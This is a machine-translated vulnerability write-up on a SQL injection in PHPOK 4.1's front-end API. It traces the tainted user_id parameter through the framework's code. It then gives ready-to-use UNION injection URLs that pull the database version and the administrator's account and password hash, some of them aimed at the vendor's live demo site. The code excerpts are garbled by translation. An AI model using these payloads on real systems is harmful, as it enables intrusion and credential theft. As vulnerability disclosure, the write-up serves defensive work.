PHPOK's latest foreground SQL Injection Vulnerability (administrator password can be obtained directly)

Source: Internet
Author: User

PHPOK's latest foreground SQL Injection Vulnerability (administrator password can be obtained directly)

An SQL injection vulnerability exists in a function in the front-end of the latest PHPOK version. You can use UNION injection to obtain the administrator password.

PHPOK4.1 latest version)

Official Website: http://www.phpok.com/phpok.html

Official site Demo: http://demo.phpok.com


Here we will first sort out the frontend Data Processing process of the phpok system:
/framework/api/api_control.php  =>  /framework/phpok_call.php  =>  /framework/model/data.php



The PHPOK system has the SQL injection vulnerability in the foreground to obtain the "Total number of articles.

Vulnerability file: data_model class/framework/model/data. php for data Processing

Vulnerability function: obtains the total ($ rs) function of "total number of articles ".

This vulnerability should be different from the WooYun: phpok SQL Injection Vulnerability (Official Website). The injection vulnerability exists in functions of the same file. It is not a new vulnerability.


Vulnerability code: line 1 of the/framework/model/data. php file
// Get the total number of articles public function total ($ rs) {if (! $ Rs ['pid '] &! $ Rs ['php']) return false; if (! $ Rs ['pid ']) {$ tmp = $ this-> _ id ($ rs ['php'], $ this-> site ['id']); if (! $ Tmp | $ tmp ['type']! = 'Project') return false; $ rs ['pid'] = $ tmp ['id'];} if (! $ Rs ['pid ']) return false; // obtain project information $ project_rs = $ this-> _ project ($ rs ['pid'], false ); // determine whether a bound module exists. if (! $ Project_rs ['module']) return false; $ SQL = "SELECT count (l. id) FROM ". $ this-> db-> prefix. "list l"; $ SQL. = "JOIN ". $ this-> db-> prefix. "list _". $ project_rs ['module']. "ext ON (l. id = ext. id AND l. site_id = ext. site_id) "; $ SQL. = "WHERE l. project_id = ". $ rs ['pid']. "AND l. site_id = ". $ this-> site ['id']. ""; $ SQL. = "AND l. hidden = 0 "; if (! $ Rs ['not _ status']) $ SQL. = "AND l. status = 1 ";......... // Bind a member if ($ rs ['user _ id']) {$ SQL. = "AND l. user_id IN (". $ rs ['user _ id']. ")";} if ($ rs ['attr']) {$ SQL. = "AND l. attr LIKE '% ". $ rs ['attr']. "% '";} The "bind member" operation exists at row 332. The specific code is $ SQL. = "AND l. user_id IN (". $ rs ['user _ id']. ")";, you can see that $ rs ['user _ id'] is directly brought into the database for connection query. $ Rs ['user _ id'] is obtained from the unique parameter $ rs of the total function. Therefore, you need to perform data source backtracking. The/framework/phpok_call.php code is the call center class of the Foreground Data Stream. To put it bluntly, it is equivalent to a data handler. Let's analyze the code implementation of phpok_call.php. The phpok_call.php file 20th provides the phpok ($ id, $ rs = "") function at the row. The specific function is to call and process the data sent from the foreground, where $ id indicates the operation type, $ rs indicates the required parameter. The code is implemented as follows: // run the data call function phpok ($ id, $ rs = "") {if (! $ Id) return false; $ cacheId = ''; $ content =''; if ($ rs & is_string ($ rs) parse_str ($ rs, $ rs ); // determine whether the cache is enabled. if ($ GLOBALS ['app']-> cache-> status ()) {$ cacheId = $ GLOBALS ['app']-> cache-> key (array ('id' => $ id, 'rs '=> $ rs ), $ this-> site ['id'], "call"); $ content = $ GLOBALS ['app']-> cache-> read ($ cacheId );} if ($ content) return $ content; // determine whether it is a built-in parameter or call the data center if (substr ($ id )! = '_') {$ Call_rs = $ GLOBALS ['app']-> model ('call')-> get_rs ($ id, $ this-> site ['id']); if (! $ Call_rs) return false; if ($ call_rs ['ext ']) {$ call_rs_ext = unserialize ($ call_rs ['ext']); unset ($ call_rs ['ext '], $ call_rs ['id']); if ($ call_rs_ext) $ call_rs = array_merge ($ call_rs_ext, $ call_rs );} if ($ rs & is_array ($ rs) $ call_rs = array_merge ($ call_rs, $ rs);} else {$ list = array ('arclist', 'arc ', 'cate', 'catelist', 'project', 'sublist', 'parent', 'plist', 'fields', 'user', 'userlist', 'Total ', 'cate _ id', 'subcate'); $ id = Substr ($ id, 1 );...... If (! $ Id |! In_array ($ id, $ list) return false; $ call_rs = array_merge ($ rs, array ('Type _ id' => $ id ));} $ content = $ this-> load_call ($ call_rs); // call the load_call function phpok ($ id, $ rs = "") to summarize the following two lines of core code: $ call_rs = array_merge ($ rs, array ('Type _ id' => $ id); $ content = $ this-> load_call ($ call_rs ); the two parameters $ id, $ rs = "" of phpok are merged into an array. After passing in the load_call function, the load_call function is further tracked: function load_call ($ rs) In line 79) {$ content = ""; $ tmp = '_'. $ rs ['Type _ id']; if (in_a Rray ($ tmp, $ this-> mlist) {$ content = $ this-> $ tmp ($ rs);} return $ content ;} load_call will last execute $ this-> $ tmp ($ rs); Operation, $ tmp is to add the operation type $ id with the character '_', $ rs is the parameter required for this operation. We have previously analyzed that because the total function of the data_model class is injected, In the phpok_call class, we can call _ total ($ rs) to call data_model-> total ($ rs) in the code of Row 3, function _ total ($ rs) {return $ GLOBALS ['app']-> model ('data')-> total ($ rs );} now we need to analyze how the $ rs parameter is transmitted from the foreground to the phpok_call class. The phpok system processes Foreground Data through/framework/api/api_control.php. Here we will focus on the implementation of the api_control control class: The api_control class code is very simple, and there is a core function phpok_f (), in row 39th: function phpok_f () {$ id = $ this-> get ('id'); if (! $ Id) $ this-> json ('Unspecified data call center id'); $ param = $ this-> get ('param'); if ($ param) {$ intval = array ('pid ', 'cateid'); foreach ($ param as $ key => $ value) {if (in_array ($ key, $ intval )) {$ param [$ key] = intval ($ value);} else {$ param [$ key] = str_replace (array ('Union ', 'select', 'update ', 'delete', 'insert', '*', 'where', 'from'), "", $ value );}}} $ list = $ this-> call-> phpok ($ id, $ param); if (! $ List) $ this-> json ('OK', true, true, false); $ tpl = $ this-> get ("tpl "); if ($ tpl & $ this-> tpl-> check_exists ($ tpl) {$ this-> assign ("rslist", $ list ); $ info = $ this-> fetch ($ tpl); $ this-> json ($ info, true, true, false);} $ this-> json ($ list, true) ;}} phpok_f () get the parameter $ id = $ this-> get ('id') from the foreground '); and the parameter $ param = $ this-> get ('param');, $ list = $ this-> call-> phpok ($ id, $ param) is called at the end ); call the phpok of the phpok_call class. $ param is the previously analyzed operation parameter $ rs, which is an array.

 


The final data calling process is as follows:
api_control->phpok_f($id='total', $param) => phpok_call->phpok('total' , $rs = $param) =>  phpok_call->load_call(array($param,'total')) => phpok_call->_total($param) =>  data_model->total($param)

 

1) Local Test


Http: // 127.0.0.1/phpok4.1-0818/api. php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + concat (user (), 0x5e, version () LIMIT + 1, 1% 23

 

 


Http: // 127.0.0.1/phpok4.1-0818/api. php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + (SELECT + CONCAT (account, 0x5e, pass) + FROM + qinggan_adm + LIMIT + 1) LIMIT + 1% 23

 

2) official demonstration site test


Http://demo.phpok.com/api.php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + concat (user (), 0x5e, version () LIMIT + 1, 1% 23

 

Obtain the administrator password:


Http://demo.phpok.com/api.php? C = api & f = phpok & id = _ total & param [pid] = 42 & param [user_id] = 0) UNION + SELECT + (SELECT + CONCAT (account, 0x5e, pass) + FROM + qinggan_adm + LIMIT + 1) LIMIT + 1% 23

 


 

Solution:

Intval Processing

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.